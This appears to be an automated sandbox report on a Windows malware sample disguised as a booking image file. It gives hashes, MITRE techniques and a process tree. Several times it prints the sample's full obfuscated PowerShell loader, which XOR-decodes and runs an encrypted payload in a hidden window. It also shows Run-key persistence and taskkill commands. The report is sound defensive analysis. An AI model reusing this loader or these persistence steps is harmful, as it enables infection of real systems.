1ecd9e545e3aa57550b5066d6172c4fb75f71c5903fc1fee6699ca872d9c69fa

Analysis

max time kernel
300s
max time network
150s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
25/08/2026, 01:03

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Booking_132_500_copy_IMG.exe
Size 99KB
Sample260825-behb5adp51
SHA256 1ecd9e545e3aa57550b5066d6172c4fb75f71c5903fc1fee6699ca872d9c69fa
MD5 0231b8a54ffb7995ceaece116737d427
SHA1 5f86349e91b96811d2eeec035c265efd64f7a116
SHA512 6085463f1435196182180dbdace9eb6d9808c801df318a265eb533e5628fefd5e8c23c949c57a7d4b43bba15112e25b57243e9e5a8a97b5fb9e193d70effed8c
SSDEEP 1536:pKbx7XQ7X8UURBNwC9+S7XVTy1PJe5a1DIKxJVzpArePK6CtTvJsANVR5:pKb1XeXRUrNbUSrcyjR5
TLSH
T1D7A34AB1F0C940D1DA7E33B83436DB92EB29A3D659194208EA5CB9B53FFD31045A099F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion execution persistence

Malware Config

Signatures

Badlisted process makes network request 10 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
8	6124	powershell.exe
9	6124	powershell.exe
10	6124	powershell.exe
11	6124	powershell.exe
12	6124	powershell.exe
14	6124	powershell.exe
15	1492	powershell.exe
16	1492	powershell.exe
17	1492	powershell.exe
18	1492	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3788	powershell.exe
3448	powershell.exe
5732	powershell.exe
1976	powershell.exe
6124	powershell.exe
1492	powershell.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000\Software\Microsoft\Windows\CurrentVersion\Run\aheonlAldc = "C:\\ProgramData\\mjbbddm.bat"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000\Software\Microsoft\Windows\CurrentVersion\Run\fnfofhoehf = "C:\\ProgramData\\mjbbddm.bat"	powershell.exe

Executes a command shell one-liner 1 TTPs 3 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1560	cmd.exe
5536	cmd.exe
5200	cmd.exe

Kills process with taskkill 6 IoCs

defense_evasion

pid	Process
5912	taskkill.exe
3096	taskkill.exe
1688	taskkill.exe
1376	taskkill.exe
5492	taskkill.exe
1112	taskkill.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
3788	powershell.exe
3788	powershell.exe
6124	powershell.exe
6124	powershell.exe
3448	powershell.exe
3448	powershell.exe
5732	powershell.exe
5732	powershell.exe
5732	powershell.exe
1492	powershell.exe
1492	powershell.exe
1492	powershell.exe
6124	powershell.exe
6124	powershell.exe
1976	powershell.exe
1976	powershell.exe
1976	powershell.exe
1492	powershell.exe

Suspicious use of AdjustPrivilegeToken 12 IoCs

description	pid	Process
Token: SeDebugPrivilege	3788	powershell.exe
Token: SeDebugPrivilege	6124	powershell.exe
Token: SeDebugPrivilege	3448	powershell.exe
Token: SeDebugPrivilege	3096	taskkill.exe
Token: SeDebugPrivilege	1688	taskkill.exe
Token: SeDebugPrivilege	1376	taskkill.exe
Token: SeDebugPrivilege	5732	powershell.exe
Token: SeDebugPrivilege	1492	powershell.exe
Token: SeDebugPrivilege	1976	powershell.exe
Token: SeDebugPrivilege	5492	taskkill.exe
Token: SeDebugPrivilege	1112	taskkill.exe
Token: SeDebugPrivilege	5912	taskkill.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 2080 wrote to memory of 1560	2080	Booking_132_500_copy_IMG.exe	89
PID 1560 wrote to memory of 3788	1560	cmd.exe	91
PID 3788 wrote to memory of 6124	3788	powershell.exe	92
PID 6124 wrote to memory of 4720	6124	powershell.exe	94
PID 4720 wrote to memory of 3364	4720	csc.exe	95
PID 6124 wrote to memory of 3448	6124	powershell.exe	97
PID 3448 wrote to memory of 5536	3448	powershell.exe	99
PID 5536 wrote to memory of 3096	5536	cmd.exe	102
PID 5536 wrote to memory of 1688	5536	cmd.exe	104
PID 5536 wrote to memory of 1376	5536	cmd.exe	105
PID 5732 wrote to memory of 1492	5732	powershell.exe	107
PID 1492 wrote to memory of 5800	1492	powershell.exe	109
PID 5800 wrote to memory of 2336	5800	csc.exe	110
PID 1492 wrote to memory of 1976	1492	powershell.exe	111
PID 1976 wrote to memory of 5200	1976	powershell.exe	113
PID 5200 wrote to memory of 5492	5200	cmd.exe	115
PID 5200 wrote to memory of 1112	5200	cmd.exe	116
PID 5200 wrote to memory of 5912	5200	cmd.exe	117

C:\Users\Admin\AppData\Local\Temp\Booking_132_500_copy_IMG.exe
"C:\Users\Admin\AppData\Local\Temp\Booking_132_500_copy_IMG.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2080
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\3e956bc1-b2b9-49cc-8070-739165e871c8.bat"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1560
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Command "Start-Process $env:SystemRoot\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -ArgumentList '-Command \"$j=54-19;$oXeJ6283=''2Fg7qWT9I'';$qTGFjZRU=''fe99a3feaf9491fdc3c79de5b9a8d485b788a5def9ace0a6adea90ec89a0b38f9886e7cddd82aef2bf9490f4bea2d698c99dc5d0d486ecbfb9efb29399bbb8fa95b9f880a0a3bbb8cb95bee9be90d0d08cf69aa8efafa0c4a9a5ea83a0dfba8e9ba5d7cb98bff4b59ad6b790b190e8e6ffa2d3f19bf79ee9f6a6d4d7eeee92e1c7ceaf9c8ce7cecb80a8f8abddd3c086fb83a3f9a8ddcd9ee9c3a2a8e9f5ae9be195f18fa8cdb49490e7aef982acfabe8fa3a9d9cb89aee8a9948aeab3ea83b9f2b89292b3deb8b783f8afd3adf680ed9ea4e9a2ad8cfc97f78fa2f18f848ef6bea2d699f1a8cccc9ee9bc8dfeade6d5a1e2c3bf80acf0f49aa4dc80f39cacf6ac8dccdf8ffa8da3f5b9cbb7e0dbdbbfbaa8e9b88fa78ae29c97ceab8bc6d491e89f8ad8abb787fd8dd2a3ffedee88a8e793aaa4a6a8aebe92e3a8ad9cf8f48f898ea181eda0acb2bc8c97e395ac99f9e9ecb29be2a8faa9bac78bb989df8ef79dacd2bf91b3d899efa7a4feb2a4b9fc8ad4a381f1b99ccde4b9db81bbd7ba9a8ff1c8d49dfbff9a90b4dcd6f59cacf1af8e97c992afbffef4eeb1bae3d7cf83a3d4b5b88be182af9487cae98dcbdc93f79e82fbae8c93d590ada08eebeecfaae391edafa1d6908790e2a4f398f9e8888ac8f6a5e9a6b4d7a3b1ccf28fc2de9be9909bb8e2d5f9c3bad78ccf90cab0ea9baff897968ddc8df08da4feb29eada590e89e8ae8979c9afdafe9dea1edbac98ef0a0dd80acfc919a8ce293f08fa4a9ae9f8bf78ffa81a3f491b2a7e0d4d7bfb8ff94cd95abb3d98197deb685a7c084ef9da8d4b08d87fd8bd2bbfdf2ef98aae391fdaea6a8b1b888d9b3dc98f8eced898ed8a1ee9f81dca2bcc3aec4b1e1c7dcbf99d3c79ae889edb08f848ef6a7fd8aa4f3b28997fc8db8c496c9be858abda6f68fa2f9b29399ced9a2b999dbe3d3b9f697cb98bff4b59ad6c8a0f782bbf8a989a3a9d9de9ea2f0999c8df6d5acbfb9efb29399bbc7f9dffdb4f2d4f39985ed82aee9b29290b387b0c8acaeead485b782abdef0d3be8ad3dc81f289aee9fbb39be7cdcf89afdeb7949bfd97a3c48af8afd0acf28dfc83a0bdff9ccda2c3b5afa2e8b589deb782abdde3deb48890e7cae4c9b6e9a98485e186ec99bff3fbd99fa0d1b6a8a2eab59191f287dc8db9fcf3d9a1ba9efb8db9feb38683ee9e95e6abe8b59e8afa8cf6cca4b5ff9ccdbfc7f9d8e1b9bac8d2b782aed18db5f2d485b782afd196cdb39c90e78cf5abace9bea0c4a9aff78da9dca88e9bfe81f495e5b9baced7a8c7f9d4f0b9bacad0d486ecb8b4edbe8ed6ba9fa797e9c2f5bb8bff8fd68da0f8fbd09b'';$gEkvtBuFo=''FjMWAxB/Okh9Xi4WAxwsRgloKnZGCktmKUh9Uj8aOXZnZwB5BGdbDUosQwVyA3pcBWJuYAtvOjttEwQlbjVPM31oC3cxY0d5CSV1J083MzV3EyFbCn5BRwFWK3dHKA9BaTZfAXhCMxklKEU1XDdQUhlrZ0Q9Q3ILTG1xUhh9E3pRS19ZQA9oDmVTFktwXFYmJGFXA1BnSAJvE3JcAUEqJQ0kTm4JRkU7LyVyEXxZBwwmY1wwQ3IES1kPC2EWQ3EDX2QqKURDFjMVD31VR0s1RzgSSntzIUt7BGVXUVRjWARGClZZWw9RbxxmAmVdLWFvcT9/C1piB0lIeD1wF0dXBRFRZQBWJFBeK2hnbTYqIH0HUEFpSzR5EllLM0hyVQlrEzhQBX5bPEs1Tj8aSntzIUtxPkR0BUd0ZF9vP1YBWnRGeSIzJmRBNkJ1TApeVGNlB0xyKghyF1BkBVA1Ql8pElFeBRk/JkU1SzsaPVUiJgFFMFVVAVJnMh9YJWtGTWV6cjR6ECtmIxc6RS1rXiVrDG5gZBtoTHFVOH0/JkU1Th44C0IqKUh+VS5WQgBgMEUxBn1WSgBjNVFHM3ZKFgpHbw9zA3pcBXk4OzlIISscJUF2UhhuDn1VSgBgM0U1Sn5TFkdqKTNtRzRIARZrcQ5dWjQbQg8iKTNtRzRdVHxSe1VyASEKVX14Yl4sEWQPXwMrIUc8T0xDQgN2YkNMQDobGSkIIUw4BSASXwQqXh08QHtrD2IxNSMoEyRXO09yLglrBEtXG0daZxR/N1cBWk5keVRYIyBGVWhubidECmNTOklYZC9wU1hkRQ0iOkw4BSASXwQmY18yNGZQEVBwaAJ7TyMeQgBgMkJQAn1VFkwiLEwtVTo/aABjMl08WjMaPVUiJhtdWi4VSwQ5DGY4BScPSntzIUtyLnpwBRE0VgspJHABVUlnJkU8TDMaPVUiJgJWNEZVBRk/JkUnahkSQgQiaEw0PFBdDFJncxhBXSl0EEtvQw1vAiUGMVBwaAJ7Tzd/A1BhaQlvPCJvSw0iJQ4oRzttEwQlZlhPAXRdKxklKExcTzdQUQgiJQ0vVj8SSntzIUtyLWZmCRFVVwJdWi4VSwgiKTNtRzRdV3dVciVXBDQbTgQqXh08QGRjXxklKEwwRzttEwQlaA9yLzQbSykIIUw8R1RXFglScwN/AmBBHldtcxg8JENnQglmZB9/G2BXDkFhdUwxAXpAEVAiNBB6EzN8A0lnLS9MMjNPby4PC0w8RzMSQgQiIUw='';$j7Hm1FEaL=0xF22A-0x7DBB;$vFrDb0RYW=@();foreach($c in [char[]]$oXeJ6283){$vFrDb0RYW+=[byte]($c-bxor0xAA)};$czuENo=$vFrDb0RYW;$vFrDb0RYW=@();foreach($c in [char[]]$oXeJ6283){$vFrDb0RYW+=[byte]($c-bxor0x55)};$lwtUCZQk=$vFrDb0RYW;$vFrDb0RYWoldR='''';$i=0;for($j=0;$j-lt$qTGFjZRU.Length;$j+=2){$vFrDb0RYWoldR+=[char](([Convert]::ToInt32($qTGFjZRU.Substring($j,2),16))-bxor$czuENo[$i++%$czuENo.Length])};$q2l3ZvW9=$vFrDb0RYWoldR;$vFrDb0RYWoldB=[Convert]::FromBase64String([regex]::Replace($gEkvtBuFo, ''$vFrDb0RYW'', ''''));$vFrDb0RYWoldR='''';$i=0;for($j=0;$j-lt$vFrDb0RYWoldB.Length;$j++){$vFrDb0RYWoldR+=[char]($vFrDb0RYWoldB[$j]-bxor$lwtUCZQk[$i++%$lwtUCZQk.Length])};$tcc9Pv=$vFrDb0RYWoldR;$sw97iJcE=$q2l3ZvW9+$tcc9Pv;.($env:ComSpec[4,26,25]-join'''') $sw97iJcE\"'" ; Copy-Item -Path 'C:\Users\Admin\AppData\Local\Temp\3e956bc1-b2b9-49cc-8070-739165e871c8.bat' -Destination 'C:\ProgramData\mjbbddm.bat' -Force -ErrorAction SilentlyContinue
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3788
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$j=54-19;$oXeJ6283='2Fg7qWT9I';$qTGFjZRU='fe99a3feaf9491fdc3c79de5b9a8d485b788a5def9ace0a6adea90ec89a0b38f9886e7cddd82aef2bf9490f4bea2d698c99dc5d0d486ecbfb9efb29399bbb8fa95b9f880a0a3bbb8cb95bee9be90d0d08cf69aa8efafa0c4a9a5ea83a0dfba8e9ba5d7cb98bff4b59ad6b790b190e8e6ffa2d3f19bf79ee9f6a6d4d7eeee92e1c7ceaf9c8ce7cecb80a8f8abddd3c086fb83a3f9a8ddcd9ee9c3a2a8e9f5ae9be195f18fa8cdb49490e7aef982acfabe8fa3a9d9cb89aee8a9948aeab3ea83b9f2b89292b3deb8b783f8afd3adf680ed9ea4e9a2ad8cfc97f78fa2f18f848ef6bea2d699f1a8cccc9ee9bc8dfeade6d5a1e2c3bf80acf0f49aa4dc80f39cacf6ac8dccdf8ffa8da3f5b9cbb7e0dbdbbfbaa8e9b88fa78ae29c97ceab8bc6d491e89f8ad8abb787fd8dd2a3ffedee88a8e793aaa4a6a8aebe92e3a8ad9cf8f48f898ea181eda0acb2bc8c97e395ac99f9e9ecb29be2a8faa9bac78bb989df8ef79dacd2bf91b3d899efa7a4feb2a4b9fc8ad4a381f1b99ccde4b9db81bbd7ba9a8ff1c8d49dfbff9a90b4dcd6f59cacf1af8e97c992afbffef4eeb1bae3d7cf83a3d4b5b88be182af9487cae98dcbdc93f79e82fbae8c93d590ada08eebeecfaae391edafa1d6908790e2a4f398f9e8888ac8f6a5e9a6b4d7a3b1ccf28fc2de9be9909bb8e2d5f9c3bad78ccf90cab0ea9baff897968ddc8df08da4feb29eada590e89e8ae8979c9afdafe9dea1edbac98ef0a0dd80acfc919a8ce293f08fa4a9ae9f8bf78ffa81a3f491b2a7e0d4d7bfb8ff94cd95abb3d98197deb685a7c084ef9da8d4b08d87fd8bd2bbfdf2ef98aae391fdaea6a8b1b888d9b3dc98f8eced898ed8a1ee9f81dca2bcc3aec4b1e1c7dcbf99d3c79ae889edb08f848ef6a7fd8aa4f3b28997fc8db8c496c9be858abda6f68fa2f9b29399ced9a2b999dbe3d3b9f697cb98bff4b59ad6c8a0f782bbf8a989a3a9d9de9ea2f0999c8df6d5acbfb9efb29399bbc7f9dffdb4f2d4f39985ed82aee9b29290b387b0c8acaeead485b782abdef0d3be8ad3dc81f289aee9fbb39be7cdcf89afdeb7949bfd97a3c48af8afd0acf28dfc83a0bdff9ccda2c3b5afa2e8b589deb782abdde3deb48890e7cae4c9b6e9a98485e186ec99bff3fbd99fa0d1b6a8a2eab59191f287dc8db9fcf3d9a1ba9efb8db9feb38683ee9e95e6abe8b59e8afa8cf6cca4b5ff9ccdbfc7f9d8e1b9bac8d2b782aed18db5f2d485b782afd196cdb39c90e78cf5abace9bea0c4a9aff78da9dca88e9bfe81f495e5b9baced7a8c7f9d4f0b9bacad0d486ecb8b4edbe8ed6ba9fa797e9c2f5bb8bff8fd68da0f8fbd09b';$gEkvtBuFo='FjMWAxB/Okh9Xi4WAxwsRgloKnZGCktmKUh9Uj8aOXZnZwB5BGdbDUosQwVyA3pcBWJuYAtvOjttEwQlbjVPM31oC3cxY0d5CSV1J083MzV3EyFbCn5BRwFWK3dHKA9BaTZfAXhCMxklKEU1XDdQUhlrZ0Q9Q3ILTG1xUhh9E3pRS19ZQA9oDmVTFktwXFYmJGFXA1BnSAJvE3JcAUEqJQ0kTm4JRkU7LyVyEXxZBwwmY1wwQ3IES1kPC2EWQ3EDX2QqKURDFjMVD31VR0s1RzgSSntzIUt7BGVXUVRjWARGClZZWw9RbxxmAmVdLWFvcT9/C1piB0lIeD1wF0dXBRFRZQBWJFBeK2hnbTYqIH0HUEFpSzR5EllLM0hyVQlrEzhQBX5bPEs1Tj8aSntzIUtxPkR0BUd0ZF9vP1YBWnRGeSIzJmRBNkJ1TApeVGNlB0xyKghyF1BkBVA1Ql8pElFeBRk/JkU1SzsaPVUiJgFFMFVVAVJnMh9YJWtGTWV6cjR6ECtmIxc6RS1rXiVrDG5gZBtoTHFVOH0/JkU1Th44C0IqKUh+VS5WQgBgMEUxBn1WSgBjNVFHM3ZKFgpHbw9zA3pcBXk4OzlIISscJUF2UhhuDn1VSgBgM0U1Sn5TFkdqKTNtRzRIARZrcQ5dWjQbQg8iKTNtRzRdVHxSe1VyASEKVX14Yl4sEWQPXwMrIUc8T0xDQgN2YkNMQDobGSkIIUw4BSASXwQqXh08QHtrD2IxNSMoEyRXO09yLglrBEtXG0daZxR/N1cBWk5keVRYIyBGVWhubidECmNTOklYZC9wU1hkRQ0iOkw4BSASXwQmY18yNGZQEVBwaAJ7TyMeQgBgMkJQAn1VFkwiLEwtVTo/aABjMl08WjMaPVUiJhtdWi4VSwQ5DGY4BScPSntzIUtyLnpwBRE0VgspJHABVUlnJkU8TDMaPVUiJgJWNEZVBRk/JkUnahkSQgQiaEw0PFBdDFJncxhBXSl0EEtvQw1vAiUGMVBwaAJ7Tzd/A1BhaQlvPCJvSw0iJQ4oRzttEwQlZlhPAXRdKxklKExcTzdQUQgiJQ0vVj8SSntzIUtyLWZmCRFVVwJdWi4VSwgiKTNtRzRdV3dVciVXBDQbTgQqXh08QGRjXxklKEwwRzttEwQlaA9yLzQbSykIIUw8R1RXFglScwN/AmBBHldtcxg8JENnQglmZB9/G2BXDkFhdUwxAXpAEVAiNBB6EzN8A0lnLS9MMjNPby4PC0w8RzMSQgQiIUw=';$j7Hm1FEaL=0xF22A-0x7DBB;$vFrDb0RYW=@();foreach($c in [char[]]$oXeJ6283){$vFrDb0RYW+=[byte]($c-bxor0xAA)};$czuENo=$vFrDb0RYW;$vFrDb0RYW=@();foreach($c in [char[]]$oXeJ6283){$vFrDb0RYW+=[byte]($c-bxor0x55)};$lwtUCZQk=$vFrDb0RYW;$vFrDb0RYWoldR='';$i=0;for($j=0;$j-lt$qTGFjZRU.Length;$j+=2){$vFrDb0RYWoldR+=[char](([Convert]::ToInt32($qTGFjZRU.Substring($j,2),16))-bxor$czuENo[$i++%$czuENo.Length])};$q2l3ZvW9=$vFrDb0RYWoldR;$vFrDb0RYWoldB=[Convert]::FromBase64String([regex]::Replace($gEkvtBuFo, '$vFrDb0RYW', ''));$vFrDb0RYWoldR='';$i=0;for($j=0;$j-lt$vFrDb0RYWoldB.Length;$j++){$vFrDb0RYWoldR+=[char]($vFrDb0RYWoldB[$j]-bxor$lwtUCZQk[$i++%$lwtUCZQk.Length])};$tcc9Pv=$vFrDb0RYWoldR;$sw97iJcE=$q2l3ZvW9+$tcc9Pv;.($env:ComSpec[4,26,25]-join'') $sw97iJcE"
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Adds Run key to start application
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:6124
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\kmcldxbl\kmcldxbl.cmdline"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4720
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES29F4.tmp" "c:\Users\Admin\AppData\Local\Temp\kmcldxbl\CSC996CDBF0F30540B289C9CF6370D5A290.TMP"
        6⤵
        
        PID:3364
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Process cmd.exe -ArgumentList '/c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F' -WindowStyle Hidden -Wait
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3448
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:5536
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /IM RegAsm.exe /F
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3096
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /IM Vbc.exe /F
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1688
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /IM MsBuild.exe /F
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1376

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Command "Start-Process $env:SystemRoot\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -ArgumentList '-Command \"$j=54-19;$oXeJ6283=''2Fg7qWT9I'';$qTGFjZRU=''fe99a3feaf9491fdc3c79de5b9a8d485b788a5def9ace0a6adea90ec89a0b38f9886e7cddd82aef2bf9490f4bea2d698c99dc5d0d486ecbfb9efb29399bbb8fa95b9f880a0a3bbb8cb95bee9be90d0d08cf69aa8efafa0c4a9a5ea83a0dfba8e9ba5d7cb98bff4b59ad6b790b190e8e6ffa2d3f19bf79ee9f6a6d4d7eeee92e1c7ceaf9c8ce7cecb80a8f8abddd3c086fb83a3f9a8ddcd9ee9c3a2a8e9f5ae9be195f18fa8cdb49490e7aef982acfabe8fa3a9d9cb89aee8a9948aeab3ea83b9f2b89292b3deb8b783f8afd3adf680ed9ea4e9a2ad8cfc97f78fa2f18f848ef6bea2d699f1a8cccc9ee9bc8dfeade6d5a1e2c3bf80acf0f49aa4dc80f39cacf6ac8dccdf8ffa8da3f5b9cbb7e0dbdbbfbaa8e9b88fa78ae29c97ceab8bc6d491e89f8ad8abb787fd8dd2a3ffedee88a8e793aaa4a6a8aebe92e3a8ad9cf8f48f898ea181eda0acb2bc8c97e395ac99f9e9ecb29be2a8faa9bac78bb989df8ef79dacd2bf91b3d899efa7a4feb2a4b9fc8ad4a381f1b99ccde4b9db81bbd7ba9a8ff1c8d49dfbff9a90b4dcd6f59cacf1af8e97c992afbffef4eeb1bae3d7cf83a3d4b5b88be182af9487cae98dcbdc93f79e82fbae8c93d590ada08eebeecfaae391edafa1d6908790e2a4f398f9e8888ac8f6a5e9a6b4d7a3b1ccf28fc2de9be9909bb8e2d5f9c3bad78ccf90cab0ea9baff897968ddc8df08da4feb29eada590e89e8ae8979c9afdafe9dea1edbac98ef0a0dd80acfc919a8ce293f08fa4a9ae9f8bf78ffa81a3f491b2a7e0d4d7bfb8ff94cd95abb3d98197deb685a7c084ef9da8d4b08d87fd8bd2bbfdf2ef98aae391fdaea6a8b1b888d9b3dc98f8eced898ed8a1ee9f81dca2bcc3aec4b1e1c7dcbf99d3c79ae889edb08f848ef6a7fd8aa4f3b28997fc8db8c496c9be858abda6f68fa2f9b29399ced9a2b999dbe3d3b9f697cb98bff4b59ad6c8a0f782bbf8a989a3a9d9de9ea2f0999c8df6d5acbfb9efb29399bbc7f9dffdb4f2d4f39985ed82aee9b29290b387b0c8acaeead485b782abdef0d3be8ad3dc81f289aee9fbb39be7cdcf89afdeb7949bfd97a3c48af8afd0acf28dfc83a0bdff9ccda2c3b5afa2e8b589deb782abdde3deb48890e7cae4c9b6e9a98485e186ec99bff3fbd99fa0d1b6a8a2eab59191f287dc8db9fcf3d9a1ba9efb8db9feb38683ee9e95e6abe8b59e8afa8cf6cca4b5ff9ccdbfc7f9d8e1b9bac8d2b782aed18db5f2d485b782afd196cdb39c90e78cf5abace9bea0c4a9aff78da9dca88e9bfe81f495e5b9baced7a8c7f9d4f0b9bacad0d486ecb8b4edbe8ed6ba9fa797e9c2f5bb8bff8fd68da0f8fbd09b'';$gEkvtBuFo=''FjMWAxB/Okh9Xi4WAxwsRgloKnZGCktmKUh9Uj8aOXZnZwB5BGdbDUosQwVyA3pcBWJuYAtvOjttEwQlbjVPM31oC3cxY0d5CSV1J083MzV3EyFbCn5BRwFWK3dHKA9BaTZfAXhCMxklKEU1XDdQUhlrZ0Q9Q3ILTG1xUhh9E3pRS19ZQA9oDmVTFktwXFYmJGFXA1BnSAJvE3JcAUEqJQ0kTm4JRkU7LyVyEXxZBwwmY1wwQ3IES1kPC2EWQ3EDX2QqKURDFjMVD31VR0s1RzgSSntzIUt7BGVXUVRjWARGClZZWw9RbxxmAmVdLWFvcT9/C1piB0lIeD1wF0dXBRFRZQBWJFBeK2hnbTYqIH0HUEFpSzR5EllLM0hyVQlrEzhQBX5bPEs1Tj8aSntzIUtxPkR0BUd0ZF9vP1YBWnRGeSIzJmRBNkJ1TApeVGNlB0xyKghyF1BkBVA1Ql8pElFeBRk/JkU1SzsaPVUiJgFFMFVVAVJnMh9YJWtGTWV6cjR6ECtmIxc6RS1rXiVrDG5gZBtoTHFVOH0/JkU1Th44C0IqKUh+VS5WQgBgMEUxBn1WSgBjNVFHM3ZKFgpHbw9zA3pcBXk4OzlIISscJUF2UhhuDn1VSgBgM0U1Sn5TFkdqKTNtRzRIARZrcQ5dWjQbQg8iKTNtRzRdVHxSe1VyASEKVX14Yl4sEWQPXwMrIUc8T0xDQgN2YkNMQDobGSkIIUw4BSASXwQqXh08QHtrD2IxNSMoEyRXO09yLglrBEtXG0daZxR/N1cBWk5keVRYIyBGVWhubidECmNTOklYZC9wU1hkRQ0iOkw4BSASXwQmY18yNGZQEVBwaAJ7TyMeQgBgMkJQAn1VFkwiLEwtVTo/aABjMl08WjMaPVUiJhtdWi4VSwQ5DGY4BScPSntzIUtyLnpwBRE0VgspJHABVUlnJkU8TDMaPVUiJgJWNEZVBRk/JkUnahkSQgQiaEw0PFBdDFJncxhBXSl0EEtvQw1vAiUGMVBwaAJ7Tzd/A1BhaQlvPCJvSw0iJQ4oRzttEwQlZlhPAXRdKxklKExcTzdQUQgiJQ0vVj8SSntzIUtyLWZmCRFVVwJdWi4VSwgiKTNtRzRdV3dVciVXBDQbTgQqXh08QGRjXxklKEwwRzttEwQlaA9yLzQbSykIIUw8R1RXFglScwN/AmBBHldtcxg8JENnQglmZB9/G2BXDkFhdUwxAXpAEVAiNBB6EzN8A0lnLS9MMjNPby4PC0w8RzMSQgQiIUw='';$j7Hm1FEaL=0xF22A-0x7DBB;$vFrDb0RYW=@();foreach($c in [char[]]$oXeJ6283){$vFrDb0RYW+=[byte]($c-bxor0xAA)};$czuENo=$vFrDb0RYW;$vFrDb0RYW=@();foreach($c in [char[]]$oXeJ6283){$vFrDb0RYW+=[byte]($c-bxor0x55)};$lwtUCZQk=$vFrDb0RYW;$vFrDb0RYWoldR='''';$i=0;for($j=0;$j-lt$qTGFjZRU.Length;$j+=2){$vFrDb0RYWoldR+=[char](([Convert]::ToInt32($qTGFjZRU.Substring($j,2),16))-bxor$czuENo[$i++%$czuENo.Length])};$q2l3ZvW9=$vFrDb0RYWoldR;$vFrDb0RYWoldB=[Convert]::FromBase64String([regex]::Replace($gEkvtBuFo, ''$vFrDb0RYW'', ''''));$vFrDb0RYWoldR='''';$i=0;for($j=0;$j-lt$vFrDb0RYWoldB.Length;$j++){$vFrDb0RYWoldR+=[char]($vFrDb0RYWoldB[$j]-bxor$lwtUCZQk[$i++%$lwtUCZQk.Length])};$tcc9Pv=$vFrDb0RYWoldR;$sw97iJcE=$q2l3ZvW9+$tcc9Pv;.($env:ComSpec[4,26,25]-join'''') $sw97iJcE\"'" ; Copy-Item -Path 'C:\ProgramData\mjbbddm.bat' -Destination 'C:\ProgramData\mjbbddm.bat' -Force -ErrorAction SilentlyContinue
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5732
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
